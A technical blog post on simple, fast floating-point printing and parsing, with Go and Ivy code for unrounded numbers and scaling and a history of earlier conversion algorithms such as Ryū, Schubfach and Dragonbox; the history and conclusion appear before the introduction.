Paxson’s ModMin/ModMax are tailored to a slightly different problem than we are solving. Instead of analyzing a particular multiplicative constant (a specific $𝑝𝑚$ or $𝑝𝑚^{ℝ}$ value), Paxson is looking directly for decimal numbers as close as possible to midpoints between binary floating-point numbers and vice versa. That means finding $x_{R}$ near $m /2$ modulo $m$ . This post’s proof is concerned with those values as well, but also the ones near integers. So we look for $x_{R}$ near zero modulo $2 m$ , which is a little simpler. Paxson couldn’t use that because it would find numbers near zero modulo $m$ in addition to numbers near $m /2$ modulo $m$ . The former are especially easy to round, so Paxson needs to exclude them. (In contrast, numbers near zero modulo $m$ are a problem for $Scale$ because the caller might want to take their floor or ceiling.)

Hanson 1997

→ Kenton Hanson, “Economical Correctly Rounded Binary Decimal Conversions”, published online 1997.

The next analysis of floating-point rounding difficulty that I found is a paper published on the web by Kenton Hanson in 1997, reporting work done earlier at Apple Computer using a Macintosh Quadra, which perhaps dates it to the early 1990s. Hanson’s web site is down and email to the address on the paper bounces. The link above is to a copy on the Internet Archive, but it omits the figures, which seem crucial to fully understanding the paper.

Hanson identified patterns that can be exploited to grow short “hard” conversions into longer ones. Then he used those longest hard conversions as the basis for an argument that conversion works correctly for all conversions up to that length: “Once this worst case is determined we have shown how we can guarantee correct conversions using arithmetic that is slightly more than double the precision of the target destinations.”

Hanson focused on 113-bit floating-point numbers, using 256-bit mantissas for scaling, and only rounding conversions. I expect that his approach would have worked for proving that 53-bit floating-point numbers can be converted with 128-bit mantissas, but I have not reconstructed it and confirmed that.

Hack 2004

→ Gordon Slishman, “Fast and Perfectly Rounding Decimal/Hexadecimal Conversions”, IBM Research Report, April 1990.
→ P.H. Abbott et al., “Architecture and software support in IBM S/390 Parallel Enterprise Servers for IEEE Floating-Point arithmetic”, IBM Journal of Research and Development, September 1999.
→ Michel Hack, “On Intermediate Precision Required for Correctly-Rounding Decimal-to-Binary Floating-Point Conversion”, IBM Technical Paper, 2004.

The next similar discovery appears to be Hack’s 2004 work at IBM.

In 1990, Slishman had published a conversion method that used floating-point approximations, like in this post. Slishman used a 16-bit middle and recognized that a non-0xFFFF $𝑚𝑖𝑑𝑑𝑙𝑒$ implied the correctness of the top section. His algorithm fell back to a slow bignum implementation when $𝑚𝑖𝑑𝑑𝑙𝑒$ was 0xFFFF and carry error could not be ruled out (approximately $1/2^{16}$ of the time). (Hack defined $𝑝𝑚$ to be a floor instead of a ceiling, so the error condition is inverted from ours.)

In 1999, Abbott et al. (including Hack) published a comprehensive article about the S/390’s new support for IEEE floating-point (as opposed to its IBM hexadecimal floating point). In that article, they observed (like Paxson) that difficult numbers can be generated by using continued fraction expansion of $𝑝𝑚^{ℝ}$ values. They also observed that bounding the size of the continued fraction expansion would bound the precision required, potentially leading to bignum-free conversions.

Following publication of that article, Alan Stern initiated “a spirited e-mail exchange during the spring of 2000” and “pointed out that the hints at improvement mentioned in that article were still too conservative.” As a result of that exchange, Hack launched a renewed investigation of the error behavior, leading to the 2004 technical report.

Hack’s report only addresses decimal-to-binary (parsing) with a fixed-length input, not binary-to-decimal (printing), even though the comments in the 1999 article were about both directions and the techniques would apply equally well to binary-to-decimal.

In the terminology of this post, Hack proved that analysis of the continued fraction for a specific $𝑝𝑚^{ℝ}$ can establish a lower bound $L$ such that $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} || 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} < L$ if and only if $𝑚𝑖𝑑𝑑𝑙𝑒^{ℝ} || 𝑏𝑜𝑡𝑡𝑜𝑚^{ℝ} = 0$ . For an $n$ -digit decimal input, $L = 1/ (10^{n} \cdot (k + 2))$ where $k$ is the maximum partial quotient in the continued fraction expansion of $𝑝𝑚^{ℝ}$ following certain convergents.

Hack summarizes:

Using Continued Fraction expansions of a set of ratios of powers of two and five we can derive tight bounds on the intermediate precision required to perform correctly-rounding floating-point conversion: it is the sum of three components: the number of bits in the target format, the number of bits in the source format, and the number of bits in the largest partial quotient that follows a partial convergent of the “right” size among those Continued Fraction expansions. (This is in addition to the small number of bits needed to cover computational loss, e.g. when multiple truncating or rounding multiplications are performed.)
When both source and target precision are fixed, the set of ratios to be expanded grows linearly with the target exponent range, and is small enough to permit a simple exhaustive search, in the case of the IEEE 754 standard formats: the extra number of bits (3rd component of the sum mentioned above) is 11 for 19-digit Double Precision and 13 for 36-digit Extended Precision.

I admit to discomfort with both Paxson’s and Hack’s use of continued fraction analysis. The math is subtle, and it seems easy to overlook a relevant case. For example Paxson needs semiconvergents for FirstModBelow but Hack does not explicitly mention them. Even though I trust that both Paxson’s and Hack’s results are correct, I do not trust myself to adapt them to new contexts without making unjustified mathematical assumptions. In contrast, the explicit GCD-like algorithm in modfirst and explicit searches based on it seem far less sophisticated and less error-prone to adapt.

Giulietti 2018

→ Raffaello Giulietti, “The Schubfach way to render doubles,” published online, 2018, revised 2021.
→ Dmitry Nadhezin, nadezhin/verify-todec GitHub repository, published online, 2018.

Raffaello Giulietti developed the Schubfach algorithm while working on Java bug JDK-4511638, that Double.toString sometimes returned non-shortest results, most notably ‘9.999999999999999e22’ for 1e23. Giulietti’s original solution contained a fallback to multiprecision arithmetic in certain cases, and he wrote a paper proving the solution’s correctness (I have been unable to find that original code, nor the first version of the paper, which was apparently titled “Rendering doubles in Java”.)

Dmitry Nadhezin set out to formally check the proof using the ACL2 theorem prover. During that effort, Giulietti and Nadhezin came across Hack’s 2004 paper and realized they could remove the multiprecision arithmetic entirely. Nadhezin adapted Hack’s analysis and proved Giulietti’s entire conversion algorithm correct using the ACL2 theorem prover. As part of that proof, Nadhezin proved (and formally verified) that the spacing around exact integer results that might arise during Schubfach’s printing algorithm is at least $ε = 2^{- 64}$ in either direction allowing the use of 126-bit $𝑝𝑚$ values. (Using 126 instead of 128 is necessary because Java has only a signed 64-bit integer type.)

Adams 2018

→ Ulf Adams, “Ryū: Fast Float-to-String Conversion”, ACM PLDI 2018.

Independent of Giulietti’s work, Ulf Adams developed a different floating-point printing algorithm named Ryū, also based on 128-bit (or in Java, 126-bit) $𝑝𝑚$ values. Adams proved the correctness of a computation for $⌊ x /10^{p} ⌋$ using $⌊ 𝑝𝑚^{ℝ} ⌋$ for positive $p$ and $⌈ 𝑝𝑚^{ℝ} ⌉$ for negative $p$ . Doubling $x$ provides the ½ bit, but Ryū does not compute the sticky bit as part of that computation. Instead, Ryū computes an exactness bit (the inverse of the sticky bit) by explicitly testing $x mod 2^{p} = 0$ for $p > 0$ and $x mod 5^{- p} = 0$ for $p < 0$ . The latter is done iteratively, requring up to 23 64-bit divisions in the worst case. (It is possible to reduce this to a single 64-bit multiplication by a constant obtained from table lookup, but Ryū does not.)

Like any of these proofs, Adams’s proof of correctness of the truncated result needs to analyze specific $𝑝𝑚$ or $𝑝𝑚^{ℝ}$ values. Adams chose to analyze the $𝑝𝑚$ values and defined a function $minmax_euclid (a, b, M)$ that returns the minimum and maximum values of $x \cdot a mod b$ for $x \in [0, M ′]$ for some $M ′ \geq M$ chosen by the algorithm. The paper includes a dense page-long proof of the correctness of minmax_euclid, but it must contain a mistake, since minmax_euclid turns out not to be correct. As one example, Junekey Jeon has pointed out that $minmax_euclid (3, 8, 7)$ returns a minimum of 1 and maximum of 0. We can verify this by implementing minmax_euclid in Ivy:

op minmax_euclid (a b M) =
    s t u v = 1 0 0 1
    :while 1
        :while b >= a
            b u v = b u v - a s t
            (-u) >= M: :ret a b
        :end
        b == 0: :ret 1 (b-1)
        :while a >= b
            a s t = a s t - b u v
            s >= M: :ret a b
        :end
        a == 0: :ret 1 (b-1)
    :end

minmax_euclid 3 8 7
-- out --
1 0

Jeon also points out that the trouble begins on the first line of Adams’s proof, which claims that $a \leq (- a) mod b$ , but that is false for $a > b /2$ . However, the general idea is right, and Adams’s Ryū repository contains a more complex and apparently fixed version of the max calculation. Even corrected, the results are loose in two directions: they include $x$ both smaller and larger than the exact range $[2^{b - 1}, 2^{b} - 1)$ .

Jeon 2020

→ Junekey Jeon, “Grisu-Exact: A Fast and Exact Floating-Point Printing Algorithm”, published online, 2020.

In 2020, Jeon published a paper about Grisu-Exact, an exact variation of the Grisu algorithm without the need for a bignum fallback algorithm. Jeon relied on Adams’s general proof approach but pointed out the problems with minmax_euclid mentioned in the previous section and supplied a replacement algorithm and proof of its correctness.

op minmax_euclid (a b M) =
    modulo = b
    s u = 1 0
    :while 1
        q = (ceil b/a) - 1
        b1 = b - q*a
        u1 = u + q*s
        :if M < u1
            k = floor (M-u) / s
            :ret a ((modulo - b) + k*a)
        :end
        p = (ceil a/b1) - 1
        a1 = a - p*b1
        s1 = s + p*u1
        :if M < s1
            k = floor (M-s) / u1
            :ret (a-k*b1) (modulo - b1)
        :end
        :if (b1 == b) and (a1 == a)
            :if M < s1 + u1
                :ret a1 (modulo - b1)
            :else
                :ret 0 (modulo - b1)
            :end
        :end
        a b s u = a1 b1 s1 u1
    :end

minmax_euclid 3 8 7
-- out --
1 7

Lemire 2023

→ Daniel Lemire, “Number Parsing at a Gigabyte per Second”, Software—Pratice and Experience, 2021.
→ Noble Mushtak and Daniel Lemire, “Fast Number Parsing Without Fallback”, Software—Pratice and Experience, 2023.

In March 2020, Lemire published code for a fast floating-point parser for up to 19-digit decimal inputs using a 128-bit $𝑝𝑚$ , based on an idea by Michael Eisel. Nigel Tao blogged about it in 2020 and Lemire published the algorithm in Software—Practice and Experience in 2021.

As published in 2021, Lemire’s algorithm uses $𝑝𝑚 = ⌊ 𝑝𝑚^{ℝ} ⌋$ and therefore checks for $𝑚𝑖𝑑𝑑𝑙𝑒 = 2^{m - 1}$ as a sign of possible inexactness. Upon finding that condition, the algorithm falls back to a bignum-based implementation.

In 2023, Mushtak and Lemire published a short but dense followup note proving that $𝑚𝑖𝑑𝑑𝑙𝑒 = 2^{m - 1}$ is impossible, and therefore the fallback check is unnecessary and can be removed. They address only the specific case of a 64-bit input and 73-bit middle, making the usual continued fraction arguments to bound the error for non-exact results.

Empirically, Mushtak and Lemire’s computational proof does not generalize to other sizes. I downloaded their Python script and changed it from analyzing $N = m + b = 137$ to analyze other sizes and observed both false positives and false negatives. I believe the false negatives are from omitting semiconvergents (unnecessary for $N = 137$ , as proved in their Theorem 2) and the false positives are from the approach not limiting $x$ to the range $[2^{b - 1}, 2^{b} - 1)$ .

Jeon 2024

→ Junekey Jeon, “Dragonbox: A New Floating-Point Binary-to-Decimal Conversion Algorithm”, published online, 2024.

In 2024, Jeon published Dragonbox, a successor to Grisu-Exact. Jeon changed from using the corrected minmax_euclid implementation to using a proof based on continued fractions. Algorithm C.14 (“Finding best rational approximations from below and above”) is essentially equivalent to Paxson’s algorithms. Like in Ryū and Grisu-Exact, the proof only considers the truncated computation $⌊ x \cdot 2^{e} \cdot 10^{p} ⌋$ and computes an exactness bit separately.

Conclusion

This post proved that $Scale$ can be implemented correctly using a fast approximation that involves only a few word-sized multiplications and shifts. For printing and parsing of float64 values, computing the top 128 bits of a 64×128-bit multiplication is sufficient.

The fact that float64 conversions require only 128-bit precision has been known since at least Hanson’s work at Apple in the mid-1990s, but that work was not widely known and did not include a proof. Paxson used an exact computational worst case analysis of modular multiplications to find difficult conversion cases; he did not bound the precision needed for parsing and printing. In contrast, Hack, Giulietti and Nadhezin, Adams, Mushtak and Lemire, and Jeon all derived ways to bound the precision needed for parsing or printing, but none of them used an exact computational worst case analysis that generalizes to arbitrary floating-point formats, and none recognized the commonality between parsing and printing.

The approach in this post, based on Paxson’s general approach and built upon a modular analysis primitive by David Wärn, is the first exact analysis that generalizes to arbitrary formats and handles both parsing and printing.

In this post, I have tried to give credit where credit is due and to represent others’ work fairly and accurately. I would be extremely grateful to receive additions, corrections, or suggestions at rsc@swtch.com.

Floating-Point Printing and Parsing Can Be Simple And Fast

2026-01-19T16:45:00-05:00

Introduction

A floating point number $f$ has the form $f = m \cdot 2^{e}$ where $m$ is called the mantissa and $e$ is a signed integer exponent. We like to read numbers scaled by powers of ten, not two, so computers need algorithms to convert binary floating-point to and from decimal text. My 2011 post “Floating Point to Decimal Conversion is Easy” argued that these conversions can be simple as long as you don’t care about them being fast. But I was wrong: fast converters can be simple too, and this post shows how.

The main idea of this post is to implement fast unrounded scaling, which computes an approximation to $x \cdot 2^{e} \cdot 10^{p}$ , often in a single 64-bit multiplication. On that foundation we can build nearly trivial printing and parsing algorithms that run very fast. In fact, the printing algorithms run faster than all other known algorithms, including Dragon4 [30], Grisu3 [23], Errol3 [4], Ryū [2], Ryū Printf [3], Schubfach [12], and Dragonbox [17], and the parsing algorithm runs faster than the Eisel-Lemire algorithm [22]. This post presents both the algorithms and a concrete implementation in Go. I expect some form of this Go code to ship in Go 1.27 (scheduled for August 2026).

This post is rather long—far longer than the implementations!—so here is a brief overview of the sections for easier navigation and understanding where we’re headed.

“Fixed-Point and Floating-Point Numbers” briefly reviews fixed-point and floating-point numbers, establishing some terminology and concepts needed for the rest of the post.
“Unrounded Numbers” introduces the idea of unrounded numbers, inspired by the IEEE754 floating-point extended format.
“Unrounded Scaling” defines the unrounded scaling primitive.
“Fixed-Width Printing” formats floating-point numbers with a given (fixed) number of decimal digits, at most 18.
“Parsing Decimals” parses decimal numbers of at most 19 digits into floating-point numbers.
“Shortest-Width Printing” formats floating-point numbers using the shortest representation that parses back to the original number.
“Fast Unrounded Scaling” reveals the short but subtle implementation of fast unrounded scaling that enables those simple algorithms.
“Sketch of a Proof of Fast Scaling” briefly sketches the proof that the fast unrounded scaling algorithm is correct. A companion post, “Fast Unrounded Scaling: Proof by Ivy” provides the full details.
“Omit Needless Multiplications” uses a key idea from the proof to optimize the fast unrounded scaling implementation further, reducing it to a single 64-bit multiplication in many cases.
“Performance” compares the performance of the implementation of these algorithms against earlier ones.
“History and Related Work” examines the history of solutions to the floating-point printing and parsing problems and traces the origins of the specific ideas used in this post’s algorithms.

For the last decade, there has been a new algorithm for floating-point printing and parsing every few years. Given the simplicity and speed of the algorithms in this post and the increasingly small deltas between successive algorithms, perhaps we are nearing an optimal solution.

Fixed-Point and Floating-Point Numbers

Fixed-point numbers have the form $f = m \cdot B^{e}$ for an integer mantissa $m$ , constant base $B$ , and constant (fixed) exponent $e$ . We can create fixed-point representations in any base, but the most common are base 2 (for computers) and base 10 (for people). This diagram shows fixed-point numbers at various scales that can represent numbers between 0 and 1:

Using a smaller scaling factor increases precision at the cost of larger mantissas. When representing very large numbers, we can use larger scaling factors to reduce the mantissa size. For example, here are various representations of numbers around one billion:

Floating-point numbers are the same as base-2 fixed-point numbers except that $e$ changes with the overall size of the number. Small numbers use very small scaling factors while large numbers use large scaling factors, aiming to keep the mantissas a constant length. For float64s, the exponent $e$ is chosen so that the mantissa $m$ has 53 bits, meaning $m \in [2^{52}, 2^{53})$ . For example, for numbers in $[½, 1)$ , float64s use $e = - 53$ ; for numbers in $[1, 2)$ they use $e = - 52$ ; and so on.

[The notation $[a, b)$ is a half-open interval, which includes $a$ but not $b$ . In contrast, the closed interval $[a, b]$ includes both $a$ and $b$ . We write $x \in [a, b)$ or $x \in [a, b]$ to say that $x$ is in that interval. Using this notation, $m \in [2^{52}, 2^{53})$ means $2^{52} \leq m < 2^{53}$ .]

In addition to limiting the mantissa size, we must also limit the exponent, to keep the overall number a fixed size. For float64s, assuming $m \in [2^{52}, 2^{53})$ , the exponent $e \in [- 1074, 971]$ .

A float64 consists of 1 sign bit, 11 exponent bits, and 52 mantissa bits. The normal 11-bit exponent encodings 0x001 through 0x3fe denote $e = - 1074$ through $e = 971$ . For those, the mantissa $m \in [2^{52}, 2^{53})$ , and it is encoded into only 52 bits by omitting the leading 1 bit. The special exponent encoding 0x3ff is used for infinity and not-a-number. That leaves the encoding 0x000, which is also special. It denotes $e = - 1074$ (like 0x001 does) but with mantissas $m \in [0, 2^{52})$ without an implicit leading 1. These subnormals or denormalized numbers [8] continue the fixed-point $2^{- 1074}$ scale down to zero, which ends up encoded (not coincidentally) as 64 zero bits.

Other definitions of floating point numbers use different interpretations. For example the IEEE754 standard uses $m \in [1, 2)$ with $e \in [- 1023, 1023]$ , while the C standard libary frexp function uses $m \in [½, 1)$ with $e \in [- 1022, 1024]$ . Both of these choices make $m$ itself a fixed-point number instead of an integer. Our integer definition lets us use integer math. These interpretations are all equivalent and differ only by a constant added to $e$ .

This description of float64s applies to float32s as well, but with different constants. This table summarizes the two encodings:

	float32	float64
sign bits	1	1
encoded mantissa bits	23	52
encoded exponent bits	8	11
exponent range for $m \in [1, 2)$	$[- 127, 127]$	$[- 1023, 1023]$
exponent range for integer $m$	$[- 150, 104]$	$[- 1074, 971]$
normal numbers	$[2^{23}, 2^{24}) \cdot 2^{[- 150, 104]}$	$[2^{52}, 2^{53}) \cdot 2^{[- 1074, 971]}$
subnormal numbers	$[0, 2^{23}) \cdot 2^{- 150}$	$[0, 2^{52}) \cdot 2^{- 1074}$
exponent range for 64-bit $m$	$[- 190, 64]$	$[- 1085, 960]$
normal numbers	$[2^{63}, 2^{64}) \cdot 2^{[- 190, 64]}$	$[2^{63}, 2^{64}) \cdot 2^{[- 1085, 960]}$
subnormal numbers	$[0, 2^{63}) \cdot 2^{- 190}$	$[0, 2^{63}) \cdot 2^{- 1085}$

To convert a float64 to its bits, we use Go’s math.Float64bits.

// unpack64 returns m, e such that f = m * 2**e.
// The caller is expected to have handled 0, NaN, and ±Inf already.
// To unpack a float32 f, use unpack64(float64(f)).
func unpack64(f float64) (uint64, int) {
	const shift = 64 - 53
	const minExp = -(1074 + shift)
	b := math.Float64bits(f)
	m := 1<<63 | (b&(1<<52-1))<<shift
	e := int((b >> 52) & (1<<shift - 1))
	if e == 0 {
		m &^= 1 << 63
		e = minExp
		s := 64 - bits.Len64(m)
		return m << s, e - s
	}
	return m, (e - 1) + minExp
}

fpfmt/fpfmt.go:23,38

To convert back, we use Go’s math.Float64frombits.

// pack64 takes m, e and returns f = m * 2**e.
// It assumes the caller has provided a 53-bit mantissa m
// and an exponent that is in range for the mantissa.
func pack64(m uint64, e int) float64 {
	if m&(1<<52) == 0 {
		return math.Float64frombits(m)
	}
	return math.Float64frombits(m&^(1<<52) | uint64(1075+e)<<52)
}

fpfmt/fpfmt.go:41,48

[Other presentations use “fraction” and “significand” instead of “mantissa”. This post uses mantissa for consistency with my 2011 post and because I generally agree with Agatha Mallett’s excellent “In Defense of ‘Mantissa’”.]

Unrounded Numbers

Floating-point operations are defined as if computed exactly to infinite precision and then rounded to the nearest actual floating-point number, breaking ties by rounding to an even mantissa. Of course, real implementations don’t use infinite precision; they only keep enough precision to round properly. We will use the same idea. In our algorithms, we want the scaling operation to eventually evaluate to an integer, but we want to give the caller control over the rounding step. So instead of returning an integer, we will return an unrounded number, which contains all the information needed to round it in a variety of ways.

The unrounded form of any real number $x$ , which we will write as as $⟨ x ⟩$ , is the truncated integer part of $x$ followed by two more bits. Those bits indicate (1) whether the fractional part of $x$ was at least ½, and (2) whether the fractional part was not exactly 0 or ½. If you think of $x$ as a real number written in binary, the first extra bit is the bit immediately after the “binary point”—the bit that represents $2^{- 1}$ , aka the ½ bit—and the second extra bit is the OR of all the bits after the ½ bit.

This definition applies even to numbers that require an infinite binary representation. For example, just as 1/3 requires an infinite decimal representation ‘ $0.333 . . .$ ’, 1.6 requires an infinite binary representation ‘ $1.1001100110011 . . .$ ’. The unrounded version $⟨ 1.6 ⟩$ is finite: ‘ $1.11$ ’. But instead of reading unrounded numbers in binary, let’s print $⟨ x ⟩$ as $‘ n . hs ’$ where $n$ is the integer part $⟨ x ⟩ >> 2$ , $h$ is 0 or 5, and $s$ is ‘+’ when the second bit is 1. Then $⟨ 1.6 ⟩$ is written ‘ $1.5 +$ ’.

\begin{matrix} ⟨ x ⟩ & = & ⌊ 4 x ⌋ | (4 x \neq ⌊ 4 x ⌋) \\ ⟨ 6 exactly⟩ & = & 24 = ‘ 6.0 ’ \\ ⟨ 6.000001 ⟩ & = & 25 = ‘ 6.0 +’ \\ ⟨ 6.499999 ⟩ & = & 25 = ‘ 6.0 +’ \\ ⟨ 6.5 exactly⟩ & = & 26 = ‘ 6.5 ’ \\ ⟨ 6.500001 ⟩ & = & 27 = ‘ 6.5 +’ \\ ⟨ 6.999999 ⟩ & = & 27 = ‘ 6.5 +’ \\ ⟨ 7 exactly⟩ & = & 28 = ‘ 7.0 ’ \end{matrix}

Let’s implement unrounded numbers in Go.

type unrounded uint64

func unround(x float64) unrounded {
	return unrounded(math.Floor(4*x)) | bool2[unrounded](math.Floor(4*x) != 4*x)
}

func (u unrounded) String() string {
	return fmt.Sprintf("⟨%d.%d%s⟩", u>>2, 5*((u>>1)&1), "+"[1-u&1:])
}

fpfmt/fpfmt.go:52,60

The bool2 function converts a boolean to an integer. (The Go compiler will implement this using an inlined conditional move.)

// bool2 converts b to an integer: 1 for true, 0 for false.
func bool2[T ~int | ~uint64](b bool) T {
	if b {
		return 1
	}
	return 0
}

fpfmt/fpfmt.go:15,20

We won’t use the unround constructor in our actual code, but it’s helpful for playing. For example, we can try the examples we just saw:

row("x", "raw", "str")
for _, x := range []float64{6, 6.001, 6.499, 6.5, 6.501, 6.999, 7} {
    u := unround(x)
    row(x, uint64(u), u)
}
table()

x      raw  str
6      24   ⟨6.0⟩
6.001  25   ⟨6.0+⟩
6.499  25   ⟨6.0+⟩
6.5    26   ⟨6.5⟩
6.501  27   ⟨6.5+⟩
6.999  27   ⟨6.5+⟩
7      28   ⟨7.0⟩

The unrounded form $⟨ x ⟩$ holds the information needed by all the usual rounding operations. Adding 0, 1, 2, or 3 and then dividing by four (or shifting right by two) yields: floor, round with ½ rounding down, round with ½ rounding up, and ceiling. In floating-point math, we want to round with ½ rounding to even, meaning 1½ and 2½ both round to 2. We can do that by adding $1 + odd (x)$ , where $odd (x)$ is 0 or 1 according to whether $x$ is odd. That’s just the low bit of $x$ : $odd (x) = (x & 1) = (⟨ x ⟩ >> 2) & 1$ .

Putting that all together:

\begin{matrix} ⌊ ⟨ x ⟩ ⌋ & = & (⟨ x ⟩ + 0) >> 2 & (floor) \\ {[⟨ x ⟩]}^{-} & = & (⟨ x ⟩ + 1) >> 2 & (round, half down) \\ {[⟨ x ⟩]}^{even} & = & (⟨ x ⟩ + 1 + odd (x)) >> 2 & (round, half to even) \\ = & (⟨ x ⟩ + 1 + ((⟨ x ⟩ >> 2) & 1)) >> 2 \\ {[⟨ x ⟩]}^{+} & = & (⟨ x ⟩ + 2) >> 2 & (round, half up) \\ ⌈ ⟨ x ⟩ ⌉ & = & (⟨ x ⟩ + 3) >> 2 & (ceiling) \end{matrix}

In Go:

func (u unrounded) floor() uint64         { return uint64((u + 0) >> 2) }
func (u unrounded) roundHalfDown() uint64 { return uint64((u + 1) >> 2) }
func (u unrounded) round() uint64         { return uint64((u + 1 + (u>>2)&1) >> 2) }
func (u unrounded) roundHalfUp() uint64   { return uint64((u + 2) >> 2) }
func (u unrounded) ceil() uint64          { return uint64((u + 3) >> 2) }

fpfmt/fpfmt.go:62,65

row("x", "floor", "round½↓", "round", "round½↑", "ceil")
for _, x := range []float64{6, 6.25, 6.5, 6.75, 7, 7.5, 8.5} {
    u := unround(x)
    row(u, u.floor(), u.roundHalfDown(), u.round(), u.roundHalfUp(), u.ceil())
}
table()

x       floor  round½↓  round  round½↑  ceil
⟨6.0⟩   6      6        6      6        6
⟨6.0+⟩  6      6        6      6        7
⟨6.5⟩   6      6        6      7        7
⟨6.5+⟩  6      7        7      7        7
⟨7.0⟩   7      7        7      7        7
⟨7.5⟩   7      7        8      8        8
⟨8.5⟩   8      8        8      9        9

Dividing unrounded numbers preserves correct rounding as long as the second extra bit is maintained correctly: once it is set to 1, it has to stay a 1 in all future results. This gives the second extra bit its shorter name: the sticky bit.

To divide an unrounded number, we do a normal divide but force the sticky bit to 1 when there is a remainder. Right shift does the same.

\begin{matrix} ⟨ x / n ⟩ & = & (⟨ x ⟩ / n) | (⟨ x ⟩ mod n \neq 0) | (⟨ x ⟩ & 1) \\ ⟨ x >> n ⟩ & = & (⟨ x ⟩ >> n) | (⟨ x ⟩ mod 2^{n} \neq 0) | (⟨ x ⟩ & 1) \end{matrix}

For example, if we rounded 15.4 to an integer 15 and then divided it by 6, we’d get 2.5, which rounds down to 2, but the more precise answer would be 15.4/6 = 2.57, which rounds up to 3. An unrounded division handles this correctly:

\begin{matrix} ⟨ 15.4 ⟩ & = & 61 ‘ 15.0 + ’ “a little more than 15” \\ ⟨ 15.4/6 ⟩ & = & 11 ‘ 2.5 + ’ “a little more than 2½” \\ [⟨ 15.4/6 ⟩] & = & 3 \end{matrix}

Let’s implement division and right shift in Go:

func (u unrounded) div(d uint64) unrounded {
	x := uint64(u)
	return unrounded(x/d) | u&1 | bool2[unrounded](x%d != 0)
}

func (u unrounded) rsh(s int) unrounded {
	return u>>s | u&1 | bool2[unrounded](u&((1<<s)-1) != 0)
}

fpfmt/fpfmt.go:69,75

u := unround(15.1).div(6)
fmt.Println(u, u.round())

⟨2.5+⟩ 3

Finally, we are going to need to be able to nudge an unrounded number up or down before computing a ceiling or floor, as if we added or subtracting a tiny amount. Let’s add that:

func (u unrounded) nudge(δ int) unrounded { return u + unrounded(δ) }

fpfmt/fpfmt.go:67,66

row("x", "nudge(-1).floor", "floor", "ceil", "nudge(+1).ceil")
for _, x := range []float64{15, 15.1, 15.9, 16} {
    u := unround(x)
    row(u, u.nudge(-1).floor(), u.floor(), u.ceil(), u.nudge(+1).ceil())
}

x        nudge(-1).floor  floor  ceil  nudge(+1).ceil
⟨15.0⟩   14               15     15    16
⟨15.0+⟩  15               15     16    16
⟨15.5+⟩  15               15     16    16
⟨16.0⟩   15               16     16    17

Floating-point hardware maintains three extra bits to round all arithmetic operations correctly. For just division and right shift, we can get by with only two bits.

Unrounded Scaling

The fundamental insight of this post is that all floating-point conversions can be written correctly and simply using unrounded scaling, which multiplies a number $x$ by a power of two and a power of ten and returns the unrounded product.

uscale (x, e, p) = ⟨ x \cdot 2^{e} \cdot 10^{p} ⟩ .

When $p$ is negative, the value $10^{p}$ cannot be stored exactly in any finite binary floating-point number, so any implementation of uscale must be careful.

In Go, we can implement uscale using big integers and an unrounded division:

func uscale(x uint64, e, p int) unrounded {
    num :=   mul(big(4), big(x), pow(2, max(0, p)),  pow(10, max(0, e)))
    denom := mul(                pow(2, max(0, -p)), pow(10, max(0, -e)))
    div, mod := divmod(num, denom)
    return unrounded(div.uint64() | bool2[uint64](!mod.isZero()))
}

The max expressions choose between multiplying $2^{e}$ into num when $e > 0$ or multiplying $2^{- e}$ into denom when $e < 0$ , and similarly for $10^{p}$ . The divmod implements the floor, and mod.isZero reports whether the floor was exact.

This implementation of uscale is correct but inefficient. In our usage, $e$ and $p$ will mostly cancel out, typically with opposite signs, and the input $x$ and result $uscale (x, e, p)$ , will always fit in 64 bits. That limited input domain and range makes it possible to implement a very fast, completely accurate uscale, and we’ll see that implementation later.

Our actual implementation will be split into two functions, to allow sharing some computations derived from $p$ and $e$ . Instead of uscale(x, e, p), the fast Go version will be called as uscale(x, prescale(e, p, log2Pow10(p))). Also, callers are responsible for passing in an $x$ left-shifted to have its high bit set. The unpack function we looked at already arranged that for its result, but otherwise callers need to do something like:

shift = 64 - bits.Len64(x)
... uscale(x<<shift, prescale(e-shift, p, log2Pow10(p))) ...

Conceptually, uscale maps numbers on one fixed-point scale to numbers on another, including converting between binary and decimal scales. For example, consider the scales $2^{- 13}$ and $10^{- 4}$ :

Given $x$ from the $2^{- 13}$ side, $uscale (x, - 13, 4)$ maps to the equivalent point on the $10^{- 4}$ side; and given $x$ from the $10^{- 4}$ , $uscale (x, 13, - 4)$ maps to the equivalent point on the $2^{- 13}$ side. Before we look at the fast implementation of $uscale$ , let’s look at how it simplifies all the floating-point printing and parsing algorithms.

Fixed-Width Printing

Our first application of uscale is fixed-width printing. Given $f = m \cdot 2^{e}$ , we want to compute its approximate equivalent $d \cdot 10^{de}$ , where $d$ has exactly $n$ digits. It only takes 17 digits to uniquely identify any float64, so we’re willing to limit $n \leq 18$ , which will ensure $d$ fits in a uint64. The strategy is to multiply $f$ by $10^{p}$ for some $p$ and then round it to an integer $d$ . Then the result is $d \cdot 10^{- p}$ .

The $n$ -digit requirement means $d = m \cdot 2^{e} \cdot 10^{p} \in [10^{n - 1}, 10^{n})$ . From this we can derive $p$ :

\begin{matrix} m \cdot 2^{e} \cdot 10^{p} & \in & [10^{n - 1}, 10^{n}) \\ m \cdot 2^{e} \cdot 10^{p} & \in & 10^{n - 1} \cdot [1, 10) & [factoring range] \\ (log_{10} m \cdot 2^{e}) + p & \in & n - 1 + [0, 1) & [taking log] \\ p & \in & n - 1 - (log_{10} m \cdot 2^{e}) + [0, 1) & [isolating p] \\ p & \in & n - 1 - ((log_{10} m \cdot 2^{e}) - [0, 1)) & [regrouping] \\ p & = & n - 1 - ⌊ log_{10} m \cdot 2^{e} ⌋ & [p is an integer] \\ p & = & n - 1 - ⌊ (log_{10} 2) \cdot (e + log_{2} m) ⌋ & [changing log base] \end{matrix}

It is okay for $p$ to be too big—we will get an extra digit that we can divide away—so we can approximate $log_{2} m$ as $bits (m) - 1$ , where $bits (m)$ is the bit length of $m$ . That gives us $p = n - 1 - ⌊ (log_{10} 2) \cdot (e + bits (m) - 1) ⌋$ . With this derivation of $p$ , uscale does the rest of the work.

The floor expression is a simple linear function and can be computed exactly for our inputs using fixed-point arithmetic:

// log10Pow2(x) returns ⌊log₁₀ 2**x⌋ = ⌊x * log₁₀ 2⌋.
func log10Pow2(x int) int {
	// log₁₀ 2 ≈ 0.30102999566 ≈ 78913 / 2^18
	return (x * 78913) >> 18
}

fpfmt/fpfmt.go:78,81

The log2Pow10 function, which we mentioned above and need to use when calling prescale, is similar:

// log2Pow10(x) returns ⌊log₂ 10**x⌋ = ⌊x * log₂ 10⌋.
